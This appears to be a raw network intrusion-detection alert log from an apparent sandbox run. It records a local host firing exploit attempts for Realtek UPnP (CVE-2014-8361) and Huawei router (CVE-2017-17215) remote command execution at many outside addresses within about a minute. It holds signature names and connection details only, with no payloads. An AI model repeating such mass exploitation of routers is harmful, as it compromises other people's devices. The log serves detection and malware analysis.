07/20/24-23:01:44.450410	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48078	52869	192.168.2.23	198.250.155.116
07/20/24-23:01:27.653028	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33226	37215	192.168.2.23	157.147.20.129
07/20/24-23:01:31.316196	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59490	52869	192.168.2.23	59.21.137.98
07/20/24-23:01:43.005974	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56290	52869	192.168.2.23	208.24.233.14
07/20/24-23:01:08.600114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38226	52869	192.168.2.23	207.30.132.8
07/20/24-23:01:24.943244	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47638	37215	192.168.2.23	140.101.155.227
07/20/24-23:01:48.855306	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59376	52869	192.168.2.23	152.241.189.22
07/20/24-23:02:02.527007	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47348	52869	192.168.2.23	138.206.228.107
07/20/24-23:01:44.977483	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38882	52869	192.168.2.23	203.196.31.139
07/20/24-23:01:52.826575	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42546	52869	192.168.2.23	9.230.247.23
07/20/24-23:01:27.650975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57578	37215	192.168.2.23	197.47.237.221
07/20/24-23:01:48.560945	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49348	52869	192.168.2.23	63.196.31.124
07/20/24-23:01:40.349275	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40914	37215	192.168.2.23	170.167.238.210
07/20/24-23:01:50.951743	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39594	52869	192.168.2.23	79.227.52.7
07/20/24-23:00:57.221735	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47684	37215	192.168.2.23	41.214.148.214
07/20/24-23:01:02.113054	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44984	37215	192.168.2.23	197.81.4.61
07/20/24-23:01:08.639622	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57320	52869	192.168.2.23	25.0.169.170
07/20/24-23:01:47.614619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37214	52869	192.168.2.23	174.213.208.19
07/20/24-23:01:20.149798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60438	37215	192.168.2.23	197.121.187.182
07/20/24-23:01:42.966087	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42896	52869	192.168.2.23	201.73.178.106
07/20/24-23:01:27.668073	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56550	37215	192.168.2.23	98.247.239.87
07/20/24-23:02:04.592319	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52792	52869	192.168.2.23	160.192.28.117
07/20/24-23:01:52.883801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55112	52869	192.168.2.23	128.145.135.61
07/20/24-23:01:57.560388	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50314	52869	192.168.2.23	67.31.108.66
07/20/24-23:02:03.987678	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40410	52869	192.168.2.23	95.249.40.161
07/20/24-23:01:21.943544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40920	37215	192.168.2.23	87.221.31.50
07/20/24-23:01:31.974514	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39410	37215	192.168.2.23	41.187.164.155
07/20/24-23:01:41.372363	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38322	52869	192.168.2.23	36.18.145.215
07/20/24-23:02:08.090582	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45838	52869	192.168.2.23	86.178.198.137
07/20/24-23:01:24.944299	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38312	37215	192.168.2.23	157.46.123.167
07/20/24-23:01:31.326982	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60500	52869	192.168.2.23	70.211.204.245
07/20/24-23:01:31.981855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49558	37215	192.168.2.23	157.215.201.153
07/20/24-23:01:45.472422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51862	52869	192.168.2.23	9.210.224.238
07/20/24-23:01:13.989215	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33870	52869	192.168.2.23	130.80.10.211
07/20/24-23:00:57.220817	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48860	37215	192.168.2.23	157.115.56.95
07/20/24-23:01:00.645051	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46822	37215	192.168.2.23	157.249.16.252
07/20/24-23:01:43.282556	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45418	52869	192.168.2.23	173.144.227.253
07/20/24-23:01:51.400635	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54792	52869	192.168.2.23	156.192.144.142
07/20/24-23:01:20.591324	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43900	52869	192.168.2.23	47.250.162.49
07/20/24-23:01:44.954688	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33416	52869	192.168.2.23	32.0.100.142
07/20/24-23:01:53.475886	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40972	52869	192.168.2.23	80.120.36.80
07/20/24-23:01:20.599458	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44618	52869	192.168.2.23	109.120.196.186
07/20/24-23:01:46.562532	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41584	52869	192.168.2.23	198.167.255.95
07/20/24-23:01:31.976984	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53324	37215	192.168.2.23	197.124.214.37
07/20/24-23:02:27.457367	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59562	52869	192.168.2.23	39.202.167.253
07/20/24-23:01:41.956473	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35810	52869	192.168.2.23	175.222.36.60
07/20/24-23:01:42.406731	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46448	52869	192.168.2.23	38.105.221.242
07/20/24-23:01:43.243266	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58200	52869	192.168.2.23	96.94.31.193
07/20/24-23:02:07.698636	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41422	52869	192.168.2.23	166.233.183.8
07/20/24-23:01:45.092574	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34552	52869	192.168.2.23	34.147.70.115
07/20/24-23:01:07.018425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41338	37215	192.168.2.23	41.94.23.218
07/20/24-23:01:25.965816	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56820	52869	192.168.2.23	45.144.124.12
07/20/24-23:01:00.633578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59562	37215	192.168.2.23	197.67.79.4
07/20/24-23:01:40.310207	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49548	37215	192.168.2.23	157.85.94.106
07/20/24-23:00:57.221090	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52728	37215	192.168.2.23	125.230.182.28
07/20/24-23:01:50.955471	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46232	52869	192.168.2.23	206.46.247.134
07/20/24-23:01:48.413537	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57454	52869	192.168.2.23	102.251.132.142
07/20/24-23:01:20.132103	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32866	37215	192.168.2.23	197.213.39.196
07/20/24-23:01:50.845923	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41810	52869	192.168.2.23	63.243.31.167
07/20/24-23:01:12.807274	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53100	52869	192.168.2.23	166.63.2.220
07/20/24-23:01:52.992845	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48958	52869	192.168.2.23	76.71.172.39
07/20/24-23:01:34.044538	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58422	37215	192.168.2.23	197.183.243.219
07/20/24-23:01:07.033766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39600	37215	192.168.2.23	197.25.40.12
07/20/24-23:01:43.239928	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41740	52869	192.168.2.23	101.184.157.141
07/20/24-23:02:06.615381	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50648	52869	192.168.2.23	78.1.44.43
07/20/24-23:02:20.374641	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41736	52869	192.168.2.23	198.93.236.85
07/20/24-23:01:20.597058	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58228	52869	192.168.2.23	87.178.133.43
07/20/24-23:01:42.612597	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45456	52869	192.168.2.23	108.79.31.157
07/20/24-23:01:43.751196	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49298	52869	192.168.2.23	183.249.169.230
07/20/24-23:01:04.118165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34972	37215	192.168.2.23	197.160.175.250
07/20/24-23:01:56.447869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55486	52869	192.168.2.23	73.161.205.249
07/20/24-23:01:51.360754	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54610	52869	192.168.2.23	173.40.109.207
07/20/24-23:01:34.053062	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35306	37215	192.168.2.23	41.171.1.73
07/20/24-23:01:44.318262	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47538	52869	192.168.2.23	38.183.196.72
07/20/24-23:01:43.364263	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47600	52869	192.168.2.23	94.8.52.195
07/20/24-23:01:47.622268	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56800	52869	192.168.2.23	42.61.115.2
07/20/24-23:01:42.813695	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36424	52869	192.168.2.23	196.248.47.177
07/20/24-23:01:46.899168	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36496	52869	192.168.2.23	206.12.145.11
07/20/24-23:01:42.799973	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41598	52869	192.168.2.23	32.163.145.253
07/20/24-23:01:42.499887	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35622	52869	192.168.2.23	99.176.241.96
07/20/24-23:01:02.281138	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52414	52869	192.168.2.23	45.158.122.120
07/20/24-23:01:46.707648	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47876	52869	192.168.2.23	47.97.62.221
07/20/24-23:01:27.651332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57076	37215	192.168.2.23	197.216.140.107
07/20/24-23:01:31.313383	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34288	52869	192.168.2.23	47.20.172.49
07/20/24-23:01:45.407048	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34170	52869	192.168.2.23	34.82.199.243
07/20/24-23:01:53.484243	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48602	52869	192.168.2.23	171.210.140.181
07/20/24-23:01:10.550846	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52846	52869	192.168.2.23	195.196.57.80
07/20/24-23:01:42.014835	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55010	52869	192.168.2.23	117.174.229.249
07/20/24-23:01:42.196522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33358	52869	192.168.2.23	41.87.239.136
07/20/24-23:01:02.345084	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60784	52869	192.168.2.23	178.251.54.152
07/20/24-23:01:01.333817	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40144	52869	192.168.2.23	47.237.197.200
07/20/24-23:01:43.044692	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33658	52869	192.168.2.23	78.241.170.132
07/20/24-23:01:54.562310	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57736	52869	192.168.2.23	120.165.99.108
07/20/24-23:01:42.800757	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36946	52869	192.168.2.23	222.217.185.57
07/20/24-23:01:07.114267	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35822	37215	192.168.2.23	107.192.16.201
07/20/24-23:01:45.887574	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53000	52869	192.168.2.23	97.241.192.98
07/20/24-23:01:51.354566	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48434	52869	192.168.2.23	187.61.181.140
07/20/24-23:01:24.898476	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59576	37215	192.168.2.23	132.85.106.74
07/20/24-23:01:20.156820	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56590	37215	192.168.2.23	157.20.155.148
07/20/24-23:01:53.219427	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34934	52869	192.168.2.23	43.175.201.8
07/20/24-23:01:31.312611	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49188	52869	192.168.2.23	48.111.4.84
07/20/24-23:01:44.520226	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52308	52869	192.168.2.23	108.210.234.252
07/20/24-23:01:43.596881	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35476	52869	192.168.2.23	108.48.65.201
07/20/24-23:01:59.707284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52044	52869	192.168.2.23	66.82.21.101
07/20/24-23:01:44.602822	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33086	52869	192.168.2.23	46.141.217.184
07/20/24-23:01:04.050503	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60850	37215	192.168.2.23	197.232.225.145
07/20/24-23:01:11.639230	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56630	37215	192.168.2.23	157.17.142.189
07/20/24-23:01:41.967549	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49624	52869	192.168.2.23	191.235.3.135
07/20/24-23:01:02.104572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43368	37215	192.168.2.23	41.75.108.94
07/20/24-23:01:41.956472	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41802	52869	192.168.2.23	5.95.241.47
07/20/24-23:01:44.274940	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44924	52869	192.168.2.23	39.205.206.142
07/20/24-23:01:43.994703	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33678	52869	192.168.2.23	44.152.141.175
07/20/24-23:01:55.716125	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36576	52869	192.168.2.23	172.44.248.130
07/20/24-23:01:25.689098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54750	52869	192.168.2.23	106.220.99.163
07/20/24-23:01:46.308516	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54334	52869	192.168.2.23	36.130.15.144
07/20/24-23:01:04.094795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54082	37215	192.168.2.23	129.251.133.85
07/20/24-23:01:46.827502	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55088	52869	192.168.2.23	110.40.238.120
07/20/24-23:01:40.321965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42484	37215	192.168.2.23	157.226.115.171
07/20/24-23:01:24.934977	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40688	37215	192.168.2.23	197.22.127.255
07/20/24-23:01:47.407718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35494	52869	192.168.2.23	133.122.43.145
07/20/24-23:01:54.345401	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44704	52869	192.168.2.23	67.25.105.249
07/20/24-23:01:48.596773	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37872	52869	192.168.2.23	133.40.152.48
07/20/24-23:02:08.719613	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45138	52869	192.168.2.23	81.228.162.123
07/20/24-23:01:27.653586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56536	37215	192.168.2.23	157.178.65.214
07/20/24-23:01:31.312895	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50844	52869	192.168.2.23	32.85.156.168
07/20/24-23:01:42.536855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60226	52869	192.168.2.23	53.20.116.108
07/20/24-23:01:44.252201	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34886	52869	192.168.2.23	66.96.161.223
07/20/24-23:01:44.914703	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42698	52869	192.168.2.23	183.141.159.182
07/20/24-23:01:52.684130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36606	52869	192.168.2.23	75.139.110.226
07/20/24-23:01:04.100971	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60250	37215	192.168.2.23	157.85.128.112
07/20/24-23:01:42.728248	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37640	52869	192.168.2.23	85.109.146.148
07/20/24-23:01:07.004906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34768	37215	192.168.2.23	41.233.112.193
07/20/24-23:01:40.321964	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46232	37215	192.168.2.23	197.27.250.238
07/20/24-23:01:45.591520	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53006	52869	192.168.2.23	200.248.84.13
07/20/24-23:02:01.320867	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38554	52869	192.168.2.23	48.17.76.254
07/20/24-23:01:27.735617	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59152	37215	192.168.2.23	41.36.252.9
07/20/24-23:02:00.322736	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55204	52869	192.168.2.23	106.193.250.91
07/20/24-23:01:01.426918	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36142	52869	192.168.2.23	160.189.204.148
07/20/24-23:01:43.970621	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51010	52869	192.168.2.23	173.1.18.208
07/20/24-23:01:02.123155	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46746	52869	192.168.2.23	113.241.155.67
07/20/24-23:01:12.834603	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50948	52869	192.168.2.23	50.114.115.150
07/20/24-23:01:04.053605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38924	37215	192.168.2.23	41.212.31.237
07/20/24-23:01:08.584506	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57902	52869	192.168.2.23	143.198.233.204
07/20/24-23:01:11.631728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40466	37215	192.168.2.23	41.122.186.57
07/20/24-23:01:02.048214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48170	37215	192.168.2.23	43.99.159.58
07/20/24-23:01:43.621955	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48784	52869	192.168.2.23	64.190.167.168
07/20/24-23:01:24.904906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46448	37215	192.168.2.23	197.5.78.7
07/20/24-23:01:41.412156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36990	52869	192.168.2.23	143.66.245.70
07/20/24-23:01:43.088724	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55198	52869	192.168.2.23	86.130.161.177
07/20/24-23:01:00.637175	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59334	37215	192.168.2.23	97.43.136.85
07/20/24-23:01:42.470759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44516	52869	192.168.2.23	192.12.11.101
07/20/24-23:01:42.760231	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52620	52869	192.168.2.23	138.36.169.221
07/20/24-23:01:46.530676	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48422	52869	192.168.2.23	45.122.145.145
07/20/24-23:01:52.482723	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41540	52869	192.168.2.23	116.106.3.51
07/20/24-23:01:00.645051	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47164	37215	192.168.2.23	157.63.143.206
07/20/24-23:01:20.181938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33388	37215	192.168.2.23	197.10.70.203
07/20/24-23:01:43.489480	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53146	52869	192.168.2.23	171.210.7.241
07/20/24-23:01:24.885849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55320	37215	192.168.2.23	197.227.84.26
07/20/24-23:01:44.144821	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40362	52869	192.168.2.23	12.65.191.23
07/20/24-23:02:02.632381	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49310	52869	192.168.2.23	112.44.8.51
07/20/24-23:01:31.981855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39198	37215	192.168.2.23	41.107.194.160
07/20/24-23:01:54.957644	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59666	52869	192.168.2.23	41.28.215.223
07/20/24-23:01:53.503242	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54978	52869	192.168.2.23	13.253.184.187
07/20/24-23:01:11.634372	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50486	37215	192.168.2.23	41.28.156.220
07/20/24-23:01:03.072080	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56664	52869	192.168.2.23	107.75.193.125
07/20/24-23:01:43.185498	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37436	52869	192.168.2.23	57.234.190.125
07/20/24-23:01:41.275004	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55772	52869	192.168.2.23	112.189.246.31
07/20/24-23:01:42.322405	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49484	52869	192.168.2.23	5.80.243.157
